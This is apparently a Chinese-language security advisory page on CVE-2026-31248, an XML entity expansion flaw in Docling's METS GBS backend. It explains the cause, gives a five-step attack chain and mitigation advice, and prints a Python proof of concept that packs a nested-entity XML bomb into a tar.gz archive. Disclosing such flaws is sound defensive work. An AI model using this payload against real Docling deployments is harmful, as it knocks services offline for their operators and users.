IPBUF安全漏洞报告
English
CVE-2026-31248 CVSS 7.5 高危

CVE-2026-31248 Docling METS GBS后端XXE漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-31248
漏洞类型
XML外部实体注入 (XXE)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Docling

相关标签

XXE拒绝服务DoSDoclingXML BombCVE-2026-31248

漏洞概述

Docling项目的METS GBS后端在2.61.0及之前的版本中存在XML实体扩展(XXE)漏洞。该组件在处理.tar.gz归档文件时,会提取并验证其中的XML文件。由于代码使用了`etree.fromstring()`方法且未禁用实体解析,攻击者可以构造包含嵌套实体定义(XML Bomb)的恶意XML文件并打包进归档。当Docling解析该文件时,实体的指数级扩展将消耗大量系统资源,最终导致服务拒绝(DoS)。

技术细节

该漏洞的核心在于XML解析器配置不当。Docling的METS GBS后端在处理用户上传的.tar.gz文件时,使用Python的`etree.fromstring()`函数解析其中的XML内容,但未设置`resolve_entities=False`或禁用DTD加载。这允许攻击者利用XML的实体扩展机制实施“Billion Laughs”攻击。攻击者定义一个递归的实体引用,例如`&lol9;`扩展为10个`&lol8;`,层层递归,使得一个极小的XML文件在解析时扩展成数GB的数据。这种指数级增长迅速耗尽服务器的CPU和内存资源,导致系统挂起或崩溃,从而造成拒绝服务。此漏洞无需认证即可通过网络触发,且不需要用户交互,危害性较高。

攻击链分析

STEP 1
步骤1:构建恶意载荷
攻击者创建一个包含嵌套实体定义(XML Bomb)的恶意XML文件,设计用于在解析时触发指数级扩展。
STEP 2
步骤2:打包文件
将恶意XML文件打包成.tar.gz格式的压缩归档,模拟Docling系统接受的合法输入格式。
STEP 3
步骤3:上传文件
攻击者通过网络将包含恶意载荷的.tar.gz文件上传到Docling的METS GBS后端接口。
STEP 4
步骤4:解析与触发
后端服务提取并使用`etree.fromstring()`解析XML文件,由于未禁用实体解析,系统开始处理嵌套实体。
STEP 5
步骤5:资源耗尽
XML解析过程中产生巨大的数据量,迅速耗尽服务器CPU和内存资源,导致服务不可用(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import io # Malicious XML payload (XML Bomb) xml_payload = """<!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a "1234567890"> <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> ]> <data>&d;</data> """ # Create a tar.gz file containing the malicious XML tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode="w:gz") as tar: # Add XML file to archive info = tarfile.TarInfo(name="malicious.xml") info.size = len(xml_payload.encode()) tar.addfile(info, io.BytesIO(xml_payload.encode())) # Save the payload with open("exploit.tar.gz", "wb") as f: f.write(tar_buffer.getvalue()) print("PoC generated: exploit.tar.gz")

影响范围

Docling <= 2.61.0

防御指南

临时缓解措施
建议立即升级Docling至修复版本。如无法立即升级,应在XML解析代码中显式禁用DTD和实体解析(例如在lxml中设置`resolve_entities=False`),或限制上传文件的大小及解析操作的超时时间,以缓解资源耗尽风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表